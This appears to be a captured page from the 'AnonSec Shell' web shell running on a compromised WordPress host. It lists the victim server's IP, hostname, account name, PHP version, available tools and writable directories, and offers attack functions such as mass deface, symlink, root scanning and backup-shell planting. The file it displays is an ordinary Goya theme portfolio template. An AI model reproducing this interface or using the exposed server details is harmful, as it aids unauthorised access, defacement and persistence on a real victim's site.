. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.168   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : eticmes ( 123698)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eticmes/www/wp-content/themes/goya/inc/templates/portfolio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/eticmes/www/wp-content/themes/goya/inc/templates/portfolio/related-portfolio.php
<?php
	global $post;

	$p_page = get_theme_mod('portfolio_page', '');
	$category_navigation = get_theme_mod('portfolio_navigation', true);
	
	$portfolio_layout = 'grid'; // related items only in grid mode

	$columns = get_theme_mod('portfolio_columns', '4');
	$alternate_cols = get_theme_mod('portfolio_alternate', true);
	$item_style = get_theme_mod('portfolio_item_style', 'regular');
	$item_margins = get_theme_mod('portfolio_item_margin', 'regular-padding');
	$animation = get_theme_mod('portfolio_animation', 'animation bottom-to-top');
	$num_posts = get_option( 'posts_per_page' );
	$loadmore = 'true';
	$aspect = 'original';

	$category_filter = false;
	$categories = false;

	$classes[] = $item_margins;
	$classes[] = 'row';

	$classes[] = 'masonry et-loader';
	$classes[] = 'variable-height';
	$classes[] = 'et-portfolio';
	$classes[] = 'et-portfolio-style-'.$item_style;

	$rand = rand(0,1000);

	$postId = $post->ID;
	$query = goya_get_posts_related_by_category($postId);
?>
<?php if ($query->have_posts()) : ?>
<aside class="related-posts hide-on-print et-portfolio et-portfolio-style-regular regular-padding">
	<div class="container">
		<h3 class="related-title"><?php esc_html_e( 'Related Items', 'goya' ); ?></h3>
		<div class="<?php echo esc_attr(implode(' ', $classes)); ?>" data-loadmore="#loadmore-<?php echo esc_attr($rand); ?>">
			<?php while ($query->have_posts()) : $query->the_post(); ?>
				<?php 
				set_query_var( 'goya_port_layout', $portfolio_layout );
				set_query_var( 'goya_port_columns', $columns );
				set_query_var( 'goya_port_aspect', $aspect );
				set_query_var( 'goya_port_animation', $animation );

				get_template_part( 'inc/templates/portfolio/' . $item_style); ?>
			<?php endwhile; ?>
		</div>
	</div>
</aside>
<?php endif; ?>
<?php wp_reset_postdata(); ?>

Anon7 - 2022
AnonSec Team